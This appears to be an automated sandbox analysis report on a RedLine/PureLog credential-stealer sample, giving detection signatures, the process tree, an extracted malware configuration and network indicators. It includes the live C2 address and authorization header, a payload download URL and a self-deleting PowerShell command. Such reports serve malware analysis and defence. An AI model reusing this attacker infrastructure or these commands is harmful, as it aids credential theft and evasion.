Edit tour

Windows Analysis Report
w74ALjpS5h.exe

Overview

General Information

Sample name:	w74ALjpS5h.exe renamed because original name is a hash value
Original sample name:	9DB696D411E33A3A68DB18B8A1680112.exe
Analysis ID:	1436182
MD5:	9db696d411e33a3a68db18b8a1680112
SHA1:	8ad3f5f7730ba7db2b656b3ea080e743115980e4
SHA256:	94f46a73df32470400d1fc25336146155321a04c4eec0f40cb8527db702499e3
Tags:	exeRedLineStealer
Infos:

Detection

PureLog Stealer, RedLine

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Found malware configuration

Multi AV Scanner detection for submitted file

Yara detected AntiVM3

Yara detected PureLog Stealer

Yara detected RedLine Stealer

.NET source code contains potential unpacker

C2 URLs / IPs found in malware configuration

Deletes itself after installation

Found many strings related to Crypto-Wallets (likely being stolen)

Installs new ROOT certificates

Machine Learning detection for sample

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Crypto Currency Wallets

Yara detected Costura Assembly Loader

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Drops certificate files (DER)

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found inlined nop instructions (likely shell or obfuscated code)

HTTP GET or POST without a user agent

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

w74ALjpS5h.exe (PID: 7608 cmdline: "C:\Users\user\Desktop\w74ALjpS5h.exe" MD5: 9DB696D411E33A3A68DB18B8A1680112)

InstallUtil.exe (PID: 7356 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe" MD5: 5D4073B2EB6D217C19F2B22F21BF8D57)

powershell.exe (PID: 7408 cmdline: "powershell" Start-Sleep -Seconds 5; Remove-Item -Path 'C:\Users\user\Desktop\w74ALjpS5h.exe' -Force MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 7352 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
RedLine Stealer	RedLine Stealer is a malware available on underground forums for sale apparently as standalone ($100/$150 depending on the version) or also on a subscription basis ($100/month). This malware harvests information from browsers such as saved credentials, autocomplete data, and credit card information. A system inventory is also taken when running on a target machine, to include details such as the username, location data, hardware configuration, and information regarding installed security software. More recent versions of RedLine added the ability to steal cryptocurrency. FTP and IM clients are also apparently targeted by this family, and this malware has the ability to upload and download files, execute commands, and periodically send back information about the infected computer.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://apophis133.medium.com/redline-technical-analysis-report-5034e16ad152 https://asec.ahnlab.com/en/30445/ https://asec.ahnlab.com/en/35981/ https://asec.ahnlab.com/ko/25837/	https://malpedia.caad.fkie.fraunhofer.de/details/win.redline_stealer

Malware Configuration

Threatname: RedLine

{"C2 url": "109.120.178.235:26632", "Bot Id": "murder - first build", "Authorization Header": "e8e6b61535f0725b5b2b76eb9963fa6f"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_RedLine_1	Yara detected RedLine Stealer	Joe Security
dump.pcap	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000005.00000002.2911354847.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000000.00000002.2788551771.0000000006A71000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000000.00000002.2788551771.0000000006B89000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000000.00000002.2787706843.0000000006090000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000000.00000002.2788551771.0000000006DD6000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000005.00000002.2914702176.0000000002997000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000005.00000002.2914702176.0000000002997000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000000.00000002.2785953790.0000000005BA0000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000000.00000002.2751630746.00000000036C8000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000000.00000002.2741346978.0000000002938000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000000.00000002.2751630746.0000000003F2E000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
Process Memory Space: w74ALjpS5h.exe PID: 7608	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
Process Memory Space: w74ALjpS5h.exe PID: 7608	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: w74ALjpS5h.exe PID: 7608	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
Process Memory Space: InstallUtil.exe PID: 7356	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: InstallUtil.exe PID: 7356	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
Click to see the 11 entries

Unpacked PEs

Source	Rule	Description	Author
0.2.w74ALjpS5h.exe.6ae9058.10.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
0.2.w74ALjpS5h.exe.6090000.8.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
0.2.w74ALjpS5h.exe.6a99038.16.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
0.2.w74ALjpS5h.exe.6df3918.17.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0.2.w74ALjpS5h.exe.6a99038.16.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
5.2.InstallUtil.exe.400000.0.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0.2.w74ALjpS5h.exe.6df3918.17.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0.2.w74ALjpS5h.exe.29edac4.3.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
0.2.w74ALjpS5h.exe.4160890.6.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0.2.w74ALjpS5h.exe.43930b0.5.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0.2.w74ALjpS5h.exe.36c9550.4.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0.2.w74ALjpS5h.exe.5ba0000.7.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0.2.w74ALjpS5h.exe.5ba0000.7.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0.2.w74ALjpS5h.exe.36c9550.4.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0.2.w74ALjpS5h.exe.43930b0.5.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0.2.w74ALjpS5h.exe.29edac4.3.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
0.2.w74ALjpS5h.exe.4160890.6.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
Click to see the 12 entries

Sigma Signatures

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "powershell" Start-Sleep -Seconds 5; Remove-Item -Path 'C:\Users\user\Desktop\w74ALjpS5h.exe' -Force, CommandLine: "powershell" Start-Sleep -Seconds 5; Remove-Item -Path 'C:\Users\user\Desktop\w74ALjpS5h.exe' -Force, CommandLine|base64offset|contains: Jy, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\w74ALjpS5h.exe", ParentImage: C:\Users\user\Desktop\w74ALjpS5h.exe, ParentProcessId: 7608, ParentProcessName: w74ALjpS5h.exe, ProcessCommandLine: "powershell" Start-Sleep -Seconds 5; Remove-Item -Path 'C:\Users\user\Desktop\w74ALjpS5h.exe' -Force, ProcessId: 7408, ProcessName: powershell.exe

Snort Signatures

⊘No Snort rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: http://pesterbdd.com/images/Pester.png

URL Reputation: Label: malware

Found malware configuration

Source: 00000000.00000002.2788551771.0000000006DD6000.00000004.00000800.00020000.00000000.sdmp

Malware Configuration Extractor: RedLine {"C2 url": "109.120.178.235:26632", "Bot Id": "murder - first build", "Authorization Header": "e8e6b61535f0725b5b2b76eb9963fa6f"}

Multi AV Scanner detection for submitted file

Source: w74ALjpS5h.exe

ReversingLabs: Detection: 44%

Machine Learning detection for sample

Source: w74ALjpS5h.exe

Joe Sandbox ML: detected

Source: w74ALjpS5h.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\InstallUtil.exe.log

Jump to behavior

Source: w74ALjpS5h.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdbSHA256e source: w74ALjpS5h.exe, 00000000.00000002.2741346978.0000000002938000.00000004.00000800.00020000.00000000.sdmp, w74ALjpS5h.exe, 00000000.00000002.2740442349.0000000000A00000.00000004.08000000.00040000.00000000.sdmp, w74ALjpS5h.exe, 00000000.00000002.2788551771.0000000006D4B000.00000004.00000800.00020000.00000000.sdmp, w74ALjpS5h.exe, 00000000.00000002.2788551771.0000000006C70000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdb source: w74ALjpS5h.exe, 00000000.00000002.2741346978.0000000002938000.00000004.00000800.00020000.00000000.sdmp, w74ALjpS5h.exe, 00000000.00000002.2740442349.0000000000A00000.00000004.08000000.00040000.00000000.sdmp, w74ALjpS5h.exe, 00000000.00000002.2788551771.0000000006D4B000.00000004.00000800.00020000.00000000.sdmp, w74ALjpS5h.exe, 00000000.00000002.2788551771.0000000006C70000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: protobuf-net.pdbSHA256}Lq source: w74ALjpS5h.exe, 00000000.00000002.2788551771.0000000006B89000.00000004.00000800.00020000.00000000.sdmp, w74ALjpS5h.exe, 00000000.00000002.2741346978.0000000002938000.00000004.00000800.00020000.00000000.sdmp, w74ALjpS5h.exe, 00000000.00000002.2788551771.0000000006C70000.00000004.00000800.00020000.00000000.sdmp, w74ALjpS5h.exe, 00000000.00000002.2788014474.0000000006100000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: protobuf-net.pdb source: w74ALjpS5h.exe, 00000000.00000002.2788551771.0000000006B89000.00000004.00000800.00020000.00000000.sdmp, w74ALjpS5h.exe, 00000000.00000002.2741346978.0000000002938000.00000004.00000800.00020000.00000000.sdmp, w74ALjpS5h.exe, 00000000.00000002.2788551771.0000000006C70000.00000004.00000800.00020000.00000000.sdmp, w74ALjpS5h.exe, 00000000.00000002.2788014474.0000000006100000.00000004.08000000.00040000.00000000.sdmp

Source: C:\Users\user\Desktop\w74ALjpS5h.exe	Code function: 4x nop then jmp 00940E9Eh	0_2_00940B50
Source: C:\Users\user\Desktop\w74ALjpS5h.exe	Code function: 4x nop then jmp 00940E9Eh	0_2_00940B40
Source: C:\Users\user\Desktop\w74ALjpS5h.exe	Code function: 4x nop then jmp 00940E9Eh	0_2_00940C55
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	5_2_06945600
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4x nop then jmp 069479D3h	5_2_06947710
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4x nop then jmp 06941ADFh	5_2_06941710
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4x nop then jmp 06941ADFh	5_2_06941700
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4x nop then jmp 06946E9Fh	5_2_06946740
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4x nop then jmp 06942483h	5_2_069421D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4x nop then jmp 06949DD8h	5_2_069498E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4x nop then jmp 0694498Ah	5_2_06944972

Networking

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: 109.120.178.235:26632

Source: global traffic

TCP traffic: 192.168.2.4:49738 -> 109.120.178.235:26632

Source: global traffic

HTTP traffic detected: GET /soon/Rytkv.mp4 HTTP/1.1Host: 185.164.163.18Connection: Keep-Alive

Source: Joe Sandbox View

ASN Name: INFOBOX-ASInfoboxruAutonomousSystemRU INFOBOX-ASInfoboxruAutonomousSystemRU

Source: unknown	TCP traffic detected without corresponding DNS query: 185.164.163.18
Source: unknown	TCP traffic detected without corresponding DNS query: 185.164.163.18
Source: unknown	TCP traffic detected without corresponding DNS query: 185.164.163.18
Source: unknown	TCP traffic detected without corresponding DNS query: 185.164.163.18
Source: unknown	TCP traffic detected without corresponding DNS query: 185.164.163.18
Source: unknown	TCP traffic detected without corresponding DNS query: 185.164.163.18
Source: unknown	TCP traffic detected without corresponding DNS query: 185.164.163.18
Source: unknown	TCP traffic detected without corresponding DNS query: 185.164.163.18
Source: unknown	TCP traffic detected without corresponding DNS query: 185.164.163.18
Source: unknown	TCP traffic detected without corresponding DNS query: 185.164.163.18
Source: unknown	TCP traffic detected without corresponding DNS query: 185.164.163.18
Source: unknown	TCP traffic detected without corresponding DNS query: 185.164.163.18
Source: unknown	TCP traffic detected without corresponding DNS query: 185.164.163.18
Source: unknown	TCP traffic detected without corresponding DNS query: 185.164.163.18
Source: unknown	TCP traffic detected without corresponding DNS query: 185.164.163.18
Source: unknown	TCP traffic detected without corresponding DNS query: 185.164.163.18
Source: unknown	TCP traffic detected without corresponding DNS query: 185.164.163.18
Source: unknown	TCP traffic detected without corresponding DNS query: 185.164.163.18
Source: unknown	TCP traffic detected without corresponding DNS query: 185.164.163.18
Source: unknown	TCP traffic detected without corresponding DNS query: 185.164.163.18
Source: unknown	TCP traffic detected without corresponding DNS query: 185.164.163.18
Source: unknown	TCP traffic detected without corresponding DNS query: 185.164.163.18
Source: unknown	TCP traffic detected without corresponding DNS query: 185.164.163.18
Source: unknown	TCP traffic detected without corresponding DNS query: 185.164.163.18
Source: unknown	TCP traffic detected without corresponding DNS query: 185.164.163.18
Source: unknown	TCP traffic detected without corresponding DNS query: 185.164.163.18
Source: unknown	TCP traffic detected without corresponding DNS query: 185.164.163.18
Source: unknown	TCP traffic detected without corresponding DNS query: 185.164.163.18
Source: unknown	TCP traffic detected without corresponding DNS query: 185.164.163.18
Source: unknown	TCP traffic detected without corresponding DNS query: 185.164.163.18
Source: unknown	TCP traffic detected without corresponding DNS query: 185.164.163.18
Source: unknown	TCP traffic detected without corresponding DNS query: 185.164.163.18
Source: unknown	TCP traffic detected without corresponding DNS query: 185.164.163.18
Source: unknown	TCP traffic detected without corresponding DNS query: 185.164.163.18
Source: unknown	TCP traffic detected without corresponding DNS query: 185.164.163.18
Source: unknown	TCP traffic detected without corresponding DNS query: 185.164.163.18
Source: unknown	TCP traffic detected without corresponding DNS query: 185.164.163.18
Source: unknown	TCP traffic detected without corresponding DNS query: 185.164.163.18
Source: unknown	TCP traffic detected without corresponding DNS query: 185.164.163.18
Source: unknown	TCP traffic detected without corresponding DNS query: 185.164.163.18
Source: unknown	TCP traffic detected without corresponding DNS query: 185.164.163.18
Source: unknown	TCP traffic detected without corresponding DNS query: 185.164.163.18
Source: unknown	TCP traffic detected without corresponding DNS query: 185.164.163.18
Source: unknown	TCP traffic detected without corresponding DNS query: 185.164.163.18
Source: unknown	TCP traffic detected without corresponding DNS query: 185.164.163.18
Source: unknown	TCP traffic detected without corresponding DNS query: 185.164.163.18
Source: unknown	TCP traffic detected without corresponding DNS query: 185.164.163.18
Source: unknown	TCP traffic detected without corresponding DNS query: 185.164.163.18
Source: unknown	TCP traffic detected without corresponding DNS query: 185.164.163.18
Source: unknown	TCP traffic detected without corresponding DNS query: 185.164.163.18

Source: global traffic

HTTP traffic detected: GET /soon/Rytkv.mp4 HTTP/1.1Host: 185.164.163.18Connection: Keep-Alive

Source: w74ALjpS5h.exe, 00000000.00000002.2741346978.00000000026C1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.164.163.18
Source: w74ALjpS5h.exe	String found in binary or memory: http://185.164.163.18/soon/Rytkv.mp4YnUIFeHKXVhcaBF9PA6m9PX3JwUPBDsc6ZVyz9dfEmNU=1ckKFkKjtcWShucKHsM
Source: w74ALjpS5h.exe, 00000000.00000002.2741346978.00000000026C1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.164.163.18/soon/Rytkv.mp4t
Source: InstallUtil.exe, 00000005.00000002.2914702176.0000000002997000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Base64Binary
Source: InstallUtil.exe, 00000005.00000002.2914702176.0000000002997000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#HexBinary
Source: InstallUtil.exe, 00000005.00000002.2914702176.0000000002997000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Text
Source: InstallUtil.exe, 00000005.00000002.2914702176.0000000002997000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd
Source: InstallUtil.exe, 00000005.00000002.2914702176.0000000002997000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd
Source: InstallUtil.exe, 00000005.00000002.2914702176.0000000002997000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-x509-token-profile-1.0#X509SubjectKeyIdentif
Source: InstallUtil.exe, 00000005.00000002.2914702176.0000000002997000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-kerberos-token-profile-1.1#GSS_Kerberosv5_AP_REQ
Source: InstallUtil.exe, 00000005.00000002.2914702176.0000000002997000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-kerberos-token-profile-1.1#GSS_Kerberosv5_AP_REQ1510
Source: InstallUtil.exe, 00000005.00000002.2914702176.0000000002997000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-kerberos-token-profile-1.1#Kerberosv5APREQSHA1
Source: InstallUtil.exe, 00000005.00000002.2914702176.0000000002997000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-rel-token-profile-1.0.pdf#license
Source: InstallUtil.exe, 00000005.00000002.2914702176.0000000002997000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.0#SAMLAssertionID
Source: InstallUtil.exe, 00000005.00000002.2914702176.0000000002997000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLID
Source: InstallUtil.exe, 00000005.00000002.2914702176.0000000002997000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLV1.1
Source: InstallUtil.exe, 00000005.00000002.2914702176.0000000002997000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLV2.0
Source: InstallUtil.exe, 00000005.00000002.2914702176.0000000002997000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#EncryptedKey
Source: InstallUtil.exe, 00000005.00000002.2914702176.0000000002997000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#EncryptedKeySHA1
Source: InstallUtil.exe, 00000005.00000002.2914702176.0000000002997000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#ThumbprintSHA1
Source: InstallUtil.exe, 00000005.00000002.2914702176.0000000002997000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-wssecurity-secext-1.1.xsd
Source: InstallUtil.exe, 00000005.00000002.2913391041.0000000000BCE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ns.ao
Source: powershell.exe, 00000006.00000002.2859267050.0000000005E14000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000006.00000002.2849060337.0000000004F06000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: InstallUtil.exe, 00000005.00000002.2913391041.0000000000BCE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://purl.oen
Source: InstallUtil.exe, 00000005.00000002.2914702176.0000000002997000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/2005/02/trust/spnego#GSS_Wrap
Source: InstallUtil.exe, 00000005.00000002.2914702176.0000000002997000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/2005/02/trust/tlsnego#TLS_Wrap
Source: InstallUtil.exe, 00000005.00000002.2914702176.00000000028F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/actor/next
Source: InstallUtil.exe, 00000005.00000002.2914702176.00000000028F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
Source: InstallUtil.exe, 00000005.00000002.2914702176.0000000002997000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2002/12/policy
Source: InstallUtil.exe, 00000005.00000002.2914702176.0000000002997000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/sc
Source: InstallUtil.exe, 00000005.00000002.2914702176.0000000002997000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/sc/dk
Source: InstallUtil.exe, 00000005.00000002.2914702176.0000000002997000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/sc/sct
Source: InstallUtil.exe, 00000005.00000002.2914702176.0000000002997000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/CK/PSHA1
Source: InstallUtil.exe, 00000005.00000002.2914702176.0000000002997000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/Issue
Source: InstallUtil.exe, 00000005.00000002.2914702176.0000000002997000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/Nonce
Source: InstallUtil.exe, 00000005.00000002.2914702176.0000000002997000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/RST/Issue
Source: InstallUtil.exe, 00000005.00000002.2914702176.0000000002997000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/RST/SCT
Source: InstallUtil.exe, 00000005.00000002.2914702176.0000000002997000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/RSTR/Issue
Source: InstallUtil.exe, 00000005.00000002.2914702176.0000000002997000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/RSTR/SCT
Source: InstallUtil.exe, 00000005.00000002.2914702176.0000000002997000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/SymmetricKey
Source: InstallUtil.exe, 00000005.00000002.2914702176.0000000002997000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/trust
Source: InstallUtil.exe, 00000005.00000002.2914702176.0000000002997000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/trust/PublicKey
Source: InstallUtil.exe, 00000005.00000002.2914702176.0000000002997000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/trust/SymmetricKey
Source: InstallUtil.exe, 00000005.00000002.2914702176.0000000002997000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/06/addressingex
Source: InstallUtil.exe, 00000005.00000002.2914702176.00000000028F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing
Source: InstallUtil.exe, 00000005.00000002.2914702176.00000000028F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/faultp9;
Source: InstallUtil.exe, 00000005.00000002.2914702176.00000000028F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous
Source: InstallUtil.exe, 00000005.00000002.2914702176.0000000002997000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat
Source: InstallUtil.exe, 00000005.00000002.2914702176.0000000002997000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Aborted
Source: InstallUtil.exe, 00000005.00000002.2914702176.0000000002997000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Commit
Source: InstallUtil.exe, 00000005.00000002.2914702176.0000000002997000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Committed
Source: InstallUtil.exe, 00000005.00000002.2914702176.0000000002997000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Completion
Source: InstallUtil.exe, 00000005.00000002.2914702176.0000000002997000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Durable2PC
Source: InstallUtil.exe, 00000005.00000002.2914702176.0000000002997000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Prepare
Source: InstallUtil.exe, 00000005.00000002.2914702176.0000000002997000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Prepared
